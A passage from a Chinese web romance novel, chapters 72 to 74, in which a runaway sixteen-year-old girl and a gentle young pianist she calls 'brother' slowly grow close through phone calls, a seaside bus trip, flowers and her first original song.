反复思忖。 顾叙最后决定送她去附近旅馆。 阮柚跟在他身边,很轻的说,“我想一直喊你哥哥。” 顾叙持有足够耐心,“为什么?” “因为你本来就是我哥哥。” 阮柚脑袋低低地,时不时跨过水坑,语气却是格外认真。 一个无伤大雅的玩笑。 顾叙没放在心上,却仍觉得有趣,失笑一声,“可我不够好,没有做兄长的经验。” 阮柚不说话了。她偏头盯着不远处绚丽多彩的霓虹灯牌,不知听还是没听见。 旅馆这里相对繁华的地带,正因为房价较高,平时几乎没什么人。 如今罕见进来了一对容貌出色的少年少女,店家提起了十倍精神,视线飞速打量过两人,笑问,“一间?” 顾叙一怔,意识到对方是误会了。他抿了下唇,莫名地耳根热了起来。当局者迷,说到底,他从未想过自己会出现在这样越界的情境里。 晚上,带着一个小姑娘,来到这里。 他刚想说什么,便听见阮柚在身旁说,“你会回来看过吗?” 她什么都不懂,依旧专注瞧他。 顾叙稍稍低头,便同她四目相接。 少女眼里是浓浓的不舍,手指捏捏手心,“我会等你的。” 等他? 顾叙:“我很忙。” 他并没有说谎,也不打算说谎。 自打记事起,他每日时间便精打细算,日程被各种课业排的满满当当。他像是被精心雕刻的工艺品,势必要打造出最完美的形态。 今天,只是意外。他只是暂时从音乐里走出,摘下耳机,遇见了她。 在这点上,他不想给她希望。 于是,阮柚眼睛缓慢寂灭。 她哦了声,低头接过了房卡。 阮柚同他说再见,沉默了一会儿,又补上,“如果你无聊,可以来找我。” 顾叙只是说了声再见,原地目送。 阮柚离开后,店家不忍心地说,“先生,允许我说句公道话,对女朋友咱们该好好对待,多陪陪她才好。我看刚才她上楼时,眼睛都红了呢。” 他以为少年年轻气盛,不懂怎么爱,不懂什么叫珍惜。 顾叙收了视线,解释,“她并不是我女朋友。” “不是女朋友?”店家愣神,看错了?虽然看起来年纪不大,但两人男帅女靓,气场太搭了。“那是什么?” 顾叙曲了曲指节,走马观花般,想起今天少女一遍遍在耳畔的亲昵问候。 灯光下,少年思忖后,深灰眼瞳浮起清浅的光,很稀薄的情绪,“算是…妹妹吧。” 他们今天认识,细想了下,好像没什么关系,但又仿佛生出了羁绊。 这份羁绊,令人费解。 第72章 第七十二章 顾叙篇 天空放晴了。 阮柚不喜欢阴雨绵绵, 如今盼来了放晴,阴霾情绪也渐渐退了潮。 她开窗通风,混沌状态彻底清醒后, 便想起昨天发生的种种。 像是做了场梦。 下楼退房时,店家告诉她,顾叙给她支付了半年的房费。阮柚虽然对钱没什么概念, 但能感觉出是应该是不小的一笔支出。 她愣了愣神, 对顾叙有了新的观感——对方不仅是个好人,还是个慷慨的好人。 她忍不住地问, “他有再些说什么吗?” 店家想了想道:“没有,只是留了一张名片,让我如果有事方便联系他。” 阮柚呼吸一慢,本是随口一问, 如今听来生出几分希望来,“能给我看看吗?” 店家自然没有推辞的理由。 电话亭里, 阮柚握着手心温热的硬币, 犹豫片刻, 迟迟没拿起电话。 她想, 还是算了吧。 她为什么非要靠近顾叙呢? 因为那点稀薄到无从谈起的血缘亲情, 还是那份试图接近成功的私心。 无论哪样,都有点不像她。 不过,阮柚还是决定将它交给命运。 她握着硬币, 心里想——正面, 给顾叙打电话;反面, 就再也不打扰他。 硬币握久了,掌心便汗涔涔的,她伸出指甲翘起, 眼神很安静。 她不知道内心期待的答案是什么。可她试了好几次,答案都是反面。 她遵从了命运。 敲了号码,电话嘟嘟声响了起来。 绵长的电流声磨蹭耳膜,就当阮柚以为无人接听想要挂掉时,熟悉的声线响了起来,情绪听不出起伏,却依旧礼貌,“你好,请问你是?” 阮柚:“我是阮柚。” 说完,她不自然摸摸鼻尖,觉得自报姓名有点奇怪,补了句,“是我。”她莫名紧张了起来,呼吸都慢了。 “原来是你啊。”顾叙嗓音隔着电流传到她耳朵,“昨天住的还习惯么?” “习惯,床非常舒服。”阮柚说,“谢谢你哦。” “不客气。”那边,顾叙笑了一声,钻在阮柚耳畔,痒痒的。 她下意识拿远了些,本想继续话题,却听见那边有人在叫顾叙的名字。 顾叙对她说:“不好意思,我该上课了。” 阮柚猜出来了,“好,再见。” 他嗯了声,“以后有什么事,可以告诉那位店家。” 阮柚哦了声。 挂断后,好不容易积攒的好心情就没了。她想,顾叙嫌他烦么,这样说,是不是让她以后不要打扰她。 但这种情绪没存留太久。 反而一出电话亭,就马上消化掉了。 头顶的阳光暖洋洋的,罩在身上像沐浴了一般,轻而易举便驱散走了负能量。 阮柚听见不远处清脆跳跃的铃铛声,目光不由被吸引过去。 她从没骑过自行车。 因此止不住好奇。 抛开好奇,又有些跃跃欲试。 阮柚观察了一会儿,走过去,“你好,我能试着骑一下吗?” 她问的是一位扎着双马尾的女孩。 离她最近,刚好在看她。 女孩愣了下,点头,“当然可以。” 对方对她没有丝毫防备,反而很热情。 “谢谢。”阮柚露出甜甜的笑。 是一个粉红自行车,把手旁边还贴了一圈小粉钻,有几颗似乎不怎么黏了,锁边略略上翘。 阮柚用手指压了压。她神情过分认真了,细密眼睫垂落下淡淡的阴影,有股说不出的灵动。 女孩看得有些脸红。 她还是第一次见这么漂亮的人,像橱窗里的洋娃娃走进现实。她好想和她交朋友。 但阮柚只是坐了坐,一只脚平平踏在地面,另一只脚放在踏板,迟迟没蹬下去。 阮柚想了想,“还是算了吧。” 女孩一愣,还没开口问,旁边便有人调笑,“不会是不会骑吧?” 男生欠揍地笑起来。 阮柚不想承认,“才不是!” 男生嗤了声笑,目光依旧默默打量她。 他骑起了自行车,故意在阮柚身旁成圈似的绕来绕去,“这么简单的事,不会真有人不会吧?” 女孩不赞同:“小强!” 阮柚吃软不吃硬,被说的气的不行。 她觉得这个男生人如其名,像只讨人厌的蟑螂,绕来绕去,让她有种想拍飞对方的冲动。 会骑自行车有什么了不起。 烦躁。 阮柚把自行车还给女孩,理都没再理笑她那些人,便转身离开。 走了没多久,刚才那女孩骑自行车追上了她,迎面的风吹散她的刘海,露出浓黑的弯眉,“那个…刚刚对不起。” 阮柚停下了脚步,“你没对不起我,为什么要道歉。” 女孩腼腆抿唇,却换了个话题,“我可以教你骑自行车,这个不难的。” 阮柚沉默几秒,眼睫掀了又沉,说,“我没钱交学费。” “我没想要你的钱!”女孩瞪大了眼睛,闻言有些急,“你千万不要误会。” 阮柚一愣。 什么都不要么,那为什么要主动教她呢。 但她没有问。 骑自行车对她而言是从未有过的新奇体验。 女孩教的很有耐心,傍晚时分,夕阳透过树隙洒在了她们脸上,染上了薄薄的红粉。 阮柚骑的不算稳当,紧紧握着把手,沿S曲线反复摇晃,依旧不知往哪里使劲儿,但已见雏形。 女孩夸奖她学得快。 阮柚却想起什么,偏头问,“我叫阮柚,你叫什么。” 对方眼睛亮起来。 “宁糖。” 临走前,宁糖推着自行车,脆生生问,“你还想学吗?” 阮柚点点头:“想学。” 宁糖笑起来:“这周末可以吗?还是老地方吧。” “好哦。” 阮柚不由自主弯唇。 她即将要掌握新技能了。 宁糖握紧车把手,紧张磨起指甲:“我们交换了姓名,可以算朋友了吗?” 朋友? 阮柚一怔,对上她的眼睛。些微陌生的情绪涌入胸腔,烫了烫胸口,她动了动舌尖,再一定眸,话已经送了出去。 “算的。” 她说。 — 阮柚躺在床上,想起今日种种。她学了骑自行车,顺便,还交了一个朋友。 她从前有不少朋友,在各种宴会上,她们围在自己身边,热情谈论最近的时尚妆容和名流八卦,然后在散场后,逐渐淡去联系。 友情于她而言,不过是精心挑选的礼物。倘若没有那些利益关系,它们并不会被输送到自己的生活里。 后来她厌倦了,就真的一个人了。 如今,她竟然交了朋友。 阮柚承认自己是开心的。但开心之余,又后知后觉感觉到孤独。她主动退出了自己的家,他们也许乐见其成,少了一位多余的她,更加其乐融融了吧? 怎么可以这样对她。 阮柚胸腔膨胀出酸涩,闭着眼睛,枕头埋湿了一片。她告诉自己,为他们哭这么最后一次,往后,再也不要为这件事流一滴眼泪了。 周末傍晚,她如约而至。 第一次靠自己交到了朋友,阮柚难得上了心,特意精心打扮了番。 为方便练习,她还特意换上了舒服的运动鞋。 夕阳于枝头溢散开,迸射出柔和霞彩。 阮柚听着风拂动树叶的簌簌声,低头看着自己被拉长的影子。 她等了好久好久。 等到夕阳散去,天黑了,宁糖都没有来。 对方爽约了。 阮柚又失望又委屈。 想着想着,还有些生气。 她觉得自己傻,竟把别人无心一句话,放在心上,竟就这么相信自己交到了朋友。 他们总会骗自己。 她垂着脑袋,失魂落魄回去。 路边有人在叫卖着棉花糖,五彩斑斓的棉花糖被精心做成了各种形状,阮柚盯着那个兔子棉花糖看,摸了摸口袋里的硬币。 阮柚:“请问多少钱?” “四块五。” “哦。” 阮柚走了。 她口袋只有一块钱,买不起。她忽地意识到自己离开家什么都不是,没有钱,没有朋友,只剩自己一个人。 夜色渐浓,晚风寂寥。天空的星星明灭交错,径自闪烁疏离的光芒。阮柚蓦的有种被孤独笼罩住、不知往哪里去的感觉。 再回过神—— 她已经走到了熟悉的电话亭。 阮柚抬了抬眼睫,呼吸放慢,眼瞳却逐渐地寻到了焦距,像是找到了什么方向。无论起初是真心还是假意,这一刻,她就是想给顾叙打电话。 心里想,她就这么做了。 冗杂电流声过后。 少年熟悉的声线响了起来。“你好。” 阮柚握紧电话,沉默了两秒说,“哥哥,你把我忘了么。” 她想。 如果,你真的能把我当家人就好了。那样自己就不再是一个人了。 静谧氛围放大情绪,连阮柚都未曾觉察到,如今她的语气多么委屈,字里行间,都藏着无尽的低落。 整个人都泛着潮湿。 顾叙静默两秒,“没有忘记你,我只是太忙了。”他的嗓音轻了少许。 阮柚眼瞳一闪:“我耽误你时间了吗?” “我现在没什么事。”顾叙接着说,“谁欺负你了?” 阮柚:“没人欺负你,我就是想听听你的声音。” 隔了几秒,少年很轻地笑了一下。 “不要想了,我弹琴给你听,好不好?” 阮柚呼吸一慢,楞楞地,“好。” 顾叙:“稍等。” 不久后,隔着听筒传来了琴声。 琴声如潺潺流动的幽谷溪泉,攥住心扉,拖拽灵魂往虚无缥缈的梦境深处走去。 阮柚静静倾听,思绪流转,最终却定格在,于记忆深处,少年如汪洋般深不见底、却格外温柔的深灰眼瞳。 她觉得顾叙的钢琴声有种力量。 让人温柔岁月,久久难忘的力量。 — 大雨过后的极速换温后,顾叙感冒了。 他的体质偏弱,小时候被精心养着,浑身有散不去的药味,长大些开始好转,却仍是小感冒频发。 下了围棋课,他就去了最近的医院。他戴了口罩,只露出倦淡的眉眼,日光松松扫了过来,投下细长柔和的睫毛阴影。 顾叙拿了药,听见有人在喊他。 是他一位熟人,在这家医院做心理医生。 对方问:“生病了?” 顾叙笑,“小感冒而已。” 对方想了想,说,“注意身体。” 顾叙颔首,说了声谢谢。 两人对话就这样结束了。 很多时候,他都不是一个话多的人,旁人说他待人友善温柔,却也清晰他的分寸边界。 某种程度,他活的也很自我。 出门时 ,顾叙挂上了耳机,听歌。 医院的绿化花丛有几只小猫,非常亲近他,顾叙摸他们脑袋时,还会听到绵长柔软的呼噜声。 他弯身喂它们,略略抬眼时,瞥见一只从没见过的小白猫藏在角落,眼睛圆圆的,极度渴望却仍不敢上前。 它见他往过来,试探走了一步,微弱地喵了一声。 顾叙却莫名看出它眼底的委屈。它似乎在说,为什么看不到我呢?是我不好么? 落叶飘落在了他的肩头。 恍惚间,透过那双眼睛,顾叙想到一个人。 那天晚上,是不是同样委屈,泪眼朦胧? 耳机安静流淌着音乐。 “I never wanna see you unhappy, I thought you want the same for me. Goodbye,my almost lover, Goodbye,my hopeless dream, Im trying not to think about you, Can’t you just let me be?(1) …” 喂完猫后,顾叙摘了耳机,直起脊背。 他想,或许他该去看看她。 第73章 第七十三章 顾叙篇 街上有小孩在玩泡泡机, 数不清的泡泡漫无目的飘散开来,映出粼粼的光晕。 阮柚坐在长椅上,看似目不转睛, 实则思绪早就跑远了,陷入发呆。先前房东婆婆见她孤孤单单,有些可怜, 退了她剩下的房租。 阮柚先去换了根新头绳。 先前的不小心断了, 头发披散令她不太舒服。 她扎了个丸子头,露出脖颈, 比先前清爽多了。 下午的日头没那么烈。 几只白鸽短暂地停留在不远处破败荒凉的露台,又头也不回飞走了,不留痕迹。 在阮柚发呆时,听见有人在叫她。 思绪回笼。 面前立着一个小女孩。 对方朝她笑, 几分稚气含混在声音,“漂亮的小姐姐, 请问您想不想买几束花?” 女孩怀里抱着几束花, 快把下半张脸遮住, 只露出很亮的眼睛, 正一瞬不瞬看她。 阮柚被吸引, “唔,好漂亮啊。” 小女孩继续说:“不仅可以回去装饰房间,也可以买来送人的。” 装饰房间?可她早晚…会离开的。 要送给谁?阮柚想了想, 叹气。 “可是我没有能送的人。” 虽然她很不想承认! “不会的姐姐。”闻言, 小女孩仰起了头, 眼睛亮晶晶,“童话都说,只要我们擅长等待, 总会等来想要见的人。” 阮柚最后买了几束花。不是她相信童话,只是刚刚的小女孩眼神的太过于认真虔诚,令她怎样都生不出拒绝的念头。 她认不出具体叫什么花名,只觉得花很美,还在散发淡淡的幽香。 她静静地瞧,越看越喜欢。 正欣赏,便听见有人在叫她的名字。 “找到了。” 好似不真实幻听,径自闯进现实,阮柚呼吸一滞,视线随之往上抬。 路边。 少年高高瘦瘦,冷白皮,头顶的鸭舌帽压的很低,阴影覆盖了半片眉眼,透出几分倦淡来。 阮柚没看清脸,却能分辨是谁。她眨了眨眼睛,内心陡然生出欢喜来,“哥哥。” 雀跃。 是顾叙。 阮柚小跑了过去,笑容灿烂明媚,“你真的来了! “原来买了花,真的能等来想见的人。” 顾叙对上她的视线,对这句话不明所以。而须臾,怀里便出现了一束花,淡香接踵而至,溢入鼻腔,“嗯?” 少年睫毛轻颤,抬眼,竟透出星点茫然来。 “这是送给你的。” 阮柚兴奋未褪。 顾叙默了几秒,低头看了几秒花,认真地接过,“谢谢,我很喜欢。” “喜欢就好。” 阮柚笑的很甜。 他问,“最近还好么?” 阮柚想了想:“一点都不好,你为什么一直不来看我。”这句倒听不出抱怨,反藏着数不清的委屈来。这份委屈令顾叙一时招架不住,尤其在对上少女那双眼睛后。 顾叙想不出问题在哪里。 他本该说来这里只是一时兴起,然后劝少女彻底放下念头,他们本就是过客。这是他一贯的风格,悲天悯人却理性干脆。 但如今,竟说不出什么。 很矛盾。最后,他掀起薄薄的眼皮,嗓音含混,“我感冒了。” “感冒了?”阮柚神情紧张,哪还有刚刚的委屈,只剩下了紧张,“现在好了吗?还在不舒服么?” 她望向他。恰逢微风吹过,不知送来的是花香,还是少年身上沉静的松木气息。 挺好闻的。 她摸摸鼻尖。 见她如此认真,顾叙却笑了,反问,“如果是呢?” 阮柚认真:“那你快回去休息吧。” “可你怎么办呢。” 顾叙把话说完,连自己都怔了下,却听见阮柚说,“没关系,大不了继续等下去嘛。” 反正她如今时间有的是。 下一句话并没说下去。 她觉察到顾叙在看她。少年灰色眼瞳松松散开了焦距,像在出神,但依旧很漂亮。 阮柚观察到对方眼尾拖着一颗不怎么明显的小痣。儿时,她听外婆讲过,这名为泪痣。拥有它的多是多愁善感、喜欢流泪的人。 可顾叙不像。 阮柚想不出他流泪的样子。 “我已经恢复了。” 半晌,顾叙说,“不要因为我,影响你的心情。” “可你来我就会很开心啊。”阮柚像是没听懂,但听见顾叙已经好了,终于绽起甜甜的笑容,“哥哥。” 她喊得自然而然,仰着头笑。 顾叙怀里抱花,低头看阮柚。 两人站着,引来路人打量的视线。 他们见两人生的这么漂亮,猜着是小情侣私奔呢,不然怎么会出现这种地方? 贫瘠、混乱。 觉察视线,顾叙很轻地蹙了下眉。 他忽然意识到自己所在的环境,迟钝觉察到她穿的很少。 雨后降了温,少女仍穿着薄薄的波点裙子,阳光照过,整个人白的发光。 但阳光永远照不到污泥,那些打量的视线隐晦低俗,她从未觉察,也不懂避让。 几秒后,身上骤然披上了外套。 阮柚一怔,迷茫眨眨眼,“嗯?” 顾叙:“走吧。” “我不冷呀。”她说,“你感冒才刚好,为什么要给我?” 阮柚想把外套脱下来,手上刚有动作,却听顾叙说,“最近降温,要多穿点衣服。” “我穿一件卫衣就够了。” 阮柚哦了声,视线一落,恰好看到他卫衣上用金线锈的小图案,是只麋鹿,和他本人故作老成的气质不太符合。 有点可爱。 她笑了笑,内心却一热。其实她没有理由去抗拒这份关心,而且,外套体温尚存,真的很温暖。 阮柚期待顾叙的到来。 她像是想到了什么,忽的抓住顾叙的手。见他未动,她偏头笑,“哥哥,我想带你去看特别漂亮的风景,快跟我来。” 顾叙抿唇,一手抱着花束。 手心顿生热意,陌生的触电感透过掌心纹理穿透心房,令他不自觉一滞。他想甩开,想拉开距离,却做不到不顾一切。 至于原因—— 或许是此刻,她叫他哥哥,而他恰巧并不反感。 阮柚迟疑,“哥哥?” “去哪?” 他神色微松,任她牵着他的手。 阮柚走在前面,而少年则跟在后面,压着步子,竟隐约透出纵容、耐心。 阮柚晃他的手,弯起眼笑,“暂时保密。” 外套对她而言显然是大了,晃来晃去,两人手就这样藏在袖口里,阴差阳错交握一起。 愈发生热。 顾叙却忽然说:“阮柚,你不能这么牵我手。” “为什么?”阮柚眼瞳澄净,以为招他烦了,竟不松开,反倒更握紧了些。 她才不要呢。 “因为我是一个异性。” 顾叙低头,“要对别人有防范之心,知道吗?” 阮柚:“可你不是别人啊。” 顾叙听了颇为无奈,“那我是什么?” 阮柚眼瞳认真,直勾勾盯他,“你是我哥哥,不是别人,我最相信你了。” 闻言。 顾叙忽的不知该说什么了。 他想,算了,她还什么都不懂。而且,就这最后一次。 阮柚带他上了一列巴士。 上车时,她边笑边说,“它会开的很远。” 开的很远?顾叙心下迟疑,弄不懂自己为何这么随她过来,但阮柚似乎看出他的犹豫,转过身来,仰头瞧他。 四目交接。 少女瞳色被日光照的发浅,融融似琥珀,他们不知觉离得很近,从顾叙的角度,能看见对方白嫩脸颊上细小绒毛。 阮柚笑起来,难得认真,“相信我。” 顾叙颔首,跟她上了巴士。阮柚以为坐巴士对他而言是新鲜事物,但见顾叙如此平静的模样,一看就没少坐。 这令她有点意外。毕竟在她潜意识里,像顾叙这样出生名门的贵公子,出门就该有专车护送。他虽得天独厚,对从未显露出高高在上。 很温柔…又莫名,很好欺负的样子。 阮柚这样想着,便对上顾叙看来的视线。 她朝他弯唇笑。 巴士人很多。 两人站在靠窗位置,肩靠着肩。顾叙不太习惯人多,却下意识护着阮柚,帮她隔绝人流。 “那天有人欺负你吗?” 身侧传来顾叙的声音。 阮柚想了想,终于知道他说的是什么。 “也不算,就是等的人一直没来,有点失望而已。” 顾叙一时沉默。 阮柚后知后觉,“不是你,是一个口口声声说想和我做朋友,最后却爽约的人。” 顾叙:“抱歉。” 他没说的是,其实这次,他是想要和她告别的。 直觉告诉他,这才是拨乱反正。 可车窗外风景疾驰,晚风呼啸而过。他的情绪也不知何时脱了轨,令他只有静默。 他戴上了耳机,另一只则分给了阮柚。 耳机在放着歌。 少女难得安静下来,一只胳膊搭在栏杆上,偏头问他放的是什么歌。 顾叙不假思索,“恋人未满。” “很好听。” 阮柚嗯了声,表示很喜欢。令她感到意外的是,两人品味相似,顾叙听的很多歌,她都很喜欢。 阮柚默默想,她应该问他要歌单。 不知不觉,巴士驶向了末班地段。 此刻夕阳西下,落日熔金。阮柚捕捉到什么,直起了脊背,瞬间打起十倍精神。 “哥哥,快看。” 顾叙闻言,循她的视线望了过去。 而后,他呼吸一慢,下颌绷紧了些。 海边,日落时分。 薄薄的云絮透开了霞光,好似不经意挑染海面。波光粼粼幕幕浮现,就这么不期然地揉碎在他的眼底。 阮柚趴在栏杆上,夕阳染红了她的侧脸。 她稍稍一偏头,笑盈盈地问,“哥哥,好看吗?怎么样,不虚此行吧。” 这可是她好不容易发现这么美的地方。顾叙,应该是她第一个也是最后一位分享的人。 她很期待顾叙会喜欢。 顾叙掀起眼帘,半晌,“嗯,好看。” 他静默远眺,透过了车窗,看见一望无际的海平线,望见海鸥掠过夕阳,飞向远方。 他的答案令阮柚很满意。 车窗外面送来了晚风,少女头发被吹乱,仍浑然不知,对着窗外风景出神。 不知在想什么。 顾叙眼睫微闪。 那一刻,他却在想—— 他好像从未见过像今天这样自由的风。 第74章 第七十四章 顾叙篇 房间放着一架三角钢琴。 顾叙坐在面前, 曲毕,便听老师在身后语重心长地说,“顾叙, 你已经很优秀了。倘若一味追求极度雕琢的完美,只会适得其反、消磨灵气。” 顾叙垂了垂眼睫,脊背僵直, 小幅度颔首。 “我会注意的, 老师。” 他听出对方的言外之意。 老师便不再说了。他深认为,作为执教以来最满意、最有天赋的一个学生, 顾叙该知道如何去自洽、去拨乱反正。 结束课程,顾叙便去排练学院舞台剧。 他本无心参加,也没有选择报名,可最终投票结果出炉, 他却被推选成了男主角。话剧团的同学眼神殷切:“学长,我们真的很需要你。” 顾叙闻言, 就这样答应了。原因简单, 偶尔他也想要被需要, 既能帮到别人, 也能帮自己。 舞台剧结束, 顾叙谢绝团建邀请,一个人去了图书馆。 他从日落一直看到了闭馆。 胃部灼烧的饥饿感也逐渐麻木,出图书馆的时候, 迎面而来的晚风从喉咙进入了胸腔, 冷的透骨, 却愈发令他清醒。 他就这样停在阶梯,感受近乎自\虐一般的清醒。 顾叙时常有种不真实感。仿佛坠入沉沉的梦境,如梅雨季的潮湿感总是如影随形。他浸透其中难以抽离, 时常分不清自己在现实还是虚幻。 因为他在梦里和现实一样,只是更麻木,像是行尸走肉。梦里的他,什么都有,又像一无所有。 和现实像又不像。 不远处有人在卖花,顾叙恰好听见叫卖声,莫名止住了步伐。 他偏头看,越过人潮。忽的想起,窗台那束花已经枯萎了。 该更换新的了。 且出于礼貌,他该回礼才是。 — 阮柚让顾叙一定要偶尔来看他。 临别前,她目露祈求,故意露出可怜兮兮的神色来,想以此得到对方的心软。 顾叙看出来了。 最后却也点点头,如她所愿。 在阮柚看来,少年心软了。 只有顾叙知道,这并不是心软,而是更深层次、连自己都说不清、道不明的原因。 让他暂时忘记原则。 之后他时不时会来看她。 每次过来,少年都会带一束鲜花。 阮柚抱着花开起了玩笑,“这是不是代表我们之间的感情永远都不会枯萎。” 顾叙头一次听见这句话,对这样的比喻陌生又新奇。 像骤然闯进另一个世界,这里没有约束,没有规则,什么都是自由的。 他不说话,选择放任自己。 阮柚最近在做手工,做好的手工拿去街上卖,偶尔挣开的零用钱都用来买棉花糖。 “总吃糖,牙齿不会痛吗?” 顾叙不知觉望过去,却只看见少女微抿的唇瓣。她涂了薄薄一层唇膏,思考时却仍会不自觉咬唇,残存浅浅的小牙印。 他平静收回视线。 阮柚弯眼笑起来:“不会,我会经常刷牙,而且棉花糖真的很好吃哦。” 顾叙则对这句话不置可否。 沉默间隙,两人无意间交触视线,阮柚好像捕捉到重点,微微凑近,一瞬不瞬瞧他,“哥哥,你不会没吃过吧?” 她问的一本正经。 顾叙却轻易看出少女眼底藏着的狡黠,这份狡黠配上扬起的笑,鲜活又灵动。 淡淡的甜香钻进鼻腔,顾叙微不可察拉开距离。“没有,我很少吃糖。” 他如实回答。 实际上,他每日吃什么,都是上周管家提前写在菜单里的,按照营养均衡调配精心规划好。 他口味一直很淡。 “哥哥,你想吃吗?” 闻言阮柚眼神柔和起来。 顾叙猜,阮柚大概是觉得他可怜。 这个念头令他生出几分无奈来。 他默了默,刚想要摇头。 阮柚却拍拍膝盖起身,嗓音轻快,“等我哦。” 说罢,像是不想给他反悔的机会,不等顾叙发言,阮柚便一跑离开了。 半晌后。 顾叙很轻地蹙眉,并非抗拒,只是觉得没什么必要,“你吃吧。”他并不贪甜,也早就过了渴望吃糖的年纪。 阮柚眨巴几下眼睛,乌黑杏眼水润润地,“哥哥,你是想让我长蛀牙吗?” 顾叙一怔,胸腔溢出笑,“谁说想吃的?” 翻脸比翻书还快。 阮柚弯弯唇角,佯装听不懂,“嗯?谁呀?” 顾叙拿她一时没办法,于是尝了一口。 草莓味缓缓化在唇齿,很甜,味道是许久没有的浓厚。很遥远的味道。 顾叙垂眼想。 阮柚:“怎么样?” 顾叙:“不错。” “真的吗?” 阮柚眼神有些迟疑,哪有人边说好吃边在皱眉的? 顾叙松松眉头,偏头看过去,“真的。” 少年眼睛纯柔如明镜,不像是说谎的样子。但他很克制,即使好吃,也并没有多吃。剩下的都让阮柚吃了。 “阮柚,你多大了?” 骤然转移话题,阮柚一时没反应过来,慢吞嘟囔,“之前不是说过嘛。” 顾叙稍挑眉,不信,“嗯,十八岁?” 阮柚见状,想了想,终于说了真实年龄。她刚过了十六岁生日,快十七了。剩下的棉花糖被她吃了。她猜,也许是自己太贪吃,顾叙才不相信她的年龄。 “怎么不上学。”少年很轻地问,云淡风轻,并不冒犯。 阮柚则说:“我不想上。” 少年默了会儿,“不想上,是学校有人欺负你吗?” “他们都在欺负我。” 或许是顾叙这句话唤醒她骨子里不美好的那一面,阮柚这句话说的很快,咬字都有些含糊。 顾叙薄唇紧抿,短暂沉思。 像当真了。 见状,阮柚反应过来,低低补充,“没有人欺负我。” 她只是…有点迷茫。 顾叙安静了会儿,对她说,“没有人有权利欺负你。” 是么? “可是。” 不知少年是否只是无心的话,阮柚却听进了心里,垂垂眼皮,指节压了压掌心,说,“如果有一天,连你最爱的人都在欺负你,你会怎么办。” 空气陷入静默。 阮柚手臂伸直搭在长椅,幽幽目视远方。 正当她以为等不到答案时,忽地,耳畔传来了少年柔和清晰的声线。 他说,“那就一直向前看,不要因为他们回头。” 闻言,阮柚呼吸一慢。 心脏处细细痒痒,好似有什么念头在挣扎破土而出。 偏过头,恰好四目交接。 少年瞳色被日光映照泛浅,密长睫毛投下小扇似的阴影,神态温柔,令人移不开眼。 他说,“所以啊,不要因为任何人,停摆自己的人生。” 少年像引路人,指点迷津。 阮柚睫毛闪了闪。 沉默间隙,她忙眨眼,快要藏不住自己发酵的情绪。 顾叙就这样看出自己的迷茫。 因为迷茫,她自我放逐,又因为迷茫,她原地停摆。 阮柚忍不住鼻尖一酸。 她说了句,“好。” 而后,很认真地拥抱了顾叙。“谢谢你告诉我这些,哥哥。” 脖颈就这样被少女勾出,顾叙身形一僵,却很快感受到对方竭力藏住的隐晦情绪。他顿了顿,不邀功,只说,“我只是说出了心里话而已。” 阮柚则埋在他肩颈,闷闷嗯了声。 她的眼睫变得有些湿漉。 她想,可这样的心里话,先前从来没有人告诉过她。 他们只会一次次让她放弃。 在最后,毫不犹豫放弃她。 / 顾叙有天过来,恰好看见阮柚在公园里弹吉他。少女穿着一身休闲装,坐在了石凳,轻快弹了首民谣。日光透过树隙洒了下来,洒在她白皙皮肤上。 少女笑起来,乌黑眼瞳像含着星星。 顾叙旁听完,觉得很好听。先前他只知道阮柚喜欢听音乐,却不知晓她会乐器。 不过他并不奇怪。 离开时,顾叙不经意地问起,“哪来的吉他?” “租来的。” 顾叙哦了声,“弹的很好听。” “真的吗?” 阮柚眼睛一亮,欢喜停在他面前,“真的好听吗?”她想,这可是来自天才钢琴家的夸奖诶。 顾叙没想到阮柚会是这样的反应,愣了下,喉结微动,“嗯。” “真的很好听。” 少年语气客观,又含着欣赏。 他从不说谎。 闻言,阮柚心轻飘飘地,像是化开了甜甜的蜜糖,不禁弯起了唇。她想,连顾叙都说好听,他们却说自己不适合,真是不知何为欣赏。 尽管阮柚不想承认—— 但生日那天听到的那句不适合,午夜梦回,那三个字还会时不时刺痛她的心。 她的开心写脸上。 顾叙莫名想,如果少女有毛茸茸的尾巴,此刻应该会翘的高高,骄矜地边走边晃。 这个念头,令他唇角不由生出笑意。 阮柚带顾叙回旅馆。 顶着店家灼热至极的视线,顾叙犹豫片刻,最终决定当作看不见。他从未忘旁处想,也不想打破阮柚的天真。 尽管在外人眼底,于理不合。 可阮柚毫不知晓,干净似白纸。 “哥哥,快坐。”她热情拍拍床边,这里最软和。 顾叙没说话,只是坐在前面的椅子上。 直到落座才意识到,他,一位刚刚成年的男性,就这样进了一个小姑娘的房间。 他为什么要这样? 阮柚为什么要这么相信他? 思及此处,顾叙平生第一次,面对寂寥,忽的生出些许无所适从。少年骨感分明的手指握紧了扶手,欲起身离开,便听不远处,阮柚迫不及待地说,“我想给你弹首歌,是我原创的,你愿意做我第一个听众吗?” 少女微卷翘起了尾音,语气难得认真。 她望向他,弯弯的睫毛缓慢颦动,习惯注视他的眼睛。 顾叙一怔,缓缓松开手指。 几秒后,他说了句好。 阮柚总是随心所欲,想法也纯粹简单。 她觉得顾叙人很好,总会抽时间来陪她玩。因此礼尚往来,她有什么好事也会第一个想要同他分享。更何况,是他告诉她,不要放弃音乐梦想的。 他问她这首歌叫什么名字。 阮柚则想了想,说还没想好。 顾叙颔首,表示知道了。 准备完毕,阮柚曲指调了几下音,弹起了吉他。她启唇,低低哼唱。 少女将头发随意盘了起来,随低头的动作,几缕鬓发松松垂下来,透出几分慵懒劲,拖长的嗓音于清泠泠的音符跳动,缱绻温柔。 顾叙有一搭没写出来搭的敲着扶手。 时间仿佛一下子变慢了。 他看过无数场演出,或弹唱或演奏,却从未有像如今这样的感受。 像那日在墙边,不经意瞥见那抹鲜活。 他发自内心想为此停留。 阮柚弹完,慢吞吞抬起头。 她偶尔,也会对自己产生些许不自信,尤其是在顾叙面前,尤其是在这样的情景。 “好听么,哥哥。” 阮柚低低地问,心跳宛若落在一根浮木,波澜起伏。 话落,顾叙却慢慢鼓起了掌。 少年拍打的掌声出现在空气,就这样覆盖她仓促的心跳。阮柚整个人像逐渐复苏,微微直起脊背,连双眸都亮起来。 顾叙掀起眼帘,嗓音带笑,“怎么这么好听啊。” 阮柚被夸的晕头转向,视线从脚尖终于落在顾叙脸上,感觉自己耳根都有点红。 她!被,表扬了! 像在做美梦! “真的吗?” 阮柚努力控制住表情,声音却轻飘飘,像踩在软绵绵的云絮上。 顾叙仰头,灰色眼瞳分外专注,“我很荣幸做你第一位听众。” 闻言,阮柚眼睫闪了闪。 这一刻,她不自觉想起刚刚听见的掌声。 她想,可能在未来,自己会忘记今天具体发生了什么。 但她永远都记得,顾叙在今天为她一人鼓掌。 只是她。 